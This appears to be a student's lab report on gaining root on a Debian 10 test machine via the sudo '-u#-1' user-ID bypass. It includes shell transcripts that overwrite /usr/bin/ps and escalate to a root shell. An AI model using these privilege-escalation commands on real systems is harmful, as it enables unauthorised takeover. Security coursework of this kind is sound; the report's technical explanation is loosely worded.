Ex0f0 Submission

Gary Jones

Contents

Goals

The goal of this exercise is to exploit a linux machine using a relatively recent vulnerability.

Risk Ranking/Profile

Critical

Summary of Findings

The finding from this exercise is the utilization of a sudo exploit where the user is set with the -u flag. With this I was able to exercise the /bin/bash shell with root privilege. I was also able to access the entire file system which includes MyDream.png.

Attack Narrative

By running cat /etc/os-relate I was able to find information on the operating system being used and subsequently identify various exploits until coming across the security exploit mentioned on this page (https://www.exploit-db.com/exploits/47502) (see figure 1). From here I executed the exploit by piping the output from /bin/bash shell into /usr/bin/ps with the sudo -u-1 exploit (see figure 2). Once this was performed I entered the password for t.turing and was granted root privilege. From here I was granted access to the entire file system and identified MyDream.png - which is a file that I am not intended to have access to.

Appendix

prior to being granted root privilege I was trying different combinations of code and was using the up arrow to retrieve previously executed code to make a small modification. When doing this I went too far and noticed that the code being shown on the command line was not my own. This continued to an arbitrary length and was captured in a screenshot. What I suspect is a previous user was executing smbclient -L //localhost as a possible exploit and the pod failed to remove this code from the command line queue when the session ended on the system thus allowing me to access it (see figure 3).

```
t.turing@devbox:~$ cat /etc/os-release
PRETTY_NAME="Debian GNU/Linux 10 (buster)"
NAME="Debian GNU/Linux"
VERSION_ID="10"
VERSION="10 (buster)"
VERSION_CODENAME=buster
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
```

Figure 1:

```
t.turing@devbox:~$ echo /bin/bash > /usr/bin/ps
t.turing@devbox:~$ /usr/bin/ps
t.turing@devbox:~$ sudo -u#-1 /bin/bash
Password:
Sorry, user t.turing is not allowed to execute '/bin/bash' as #-1 on devbox.
t.turing@devbox:~$ sudo -u#-1 /usr/bin/ps
Password:
root@devbox:/home/t.turing#
```

Figure 2:

```
   1272 pts/0    00:00:00 ps
t.turing@devbox:~$ echo /bin/bash > /usr/bin/ps
t.turing@devbox:~$ /usr/bin/ps
t.turing@devbox:~$ smbclient -L //localhost
```

Figure 3: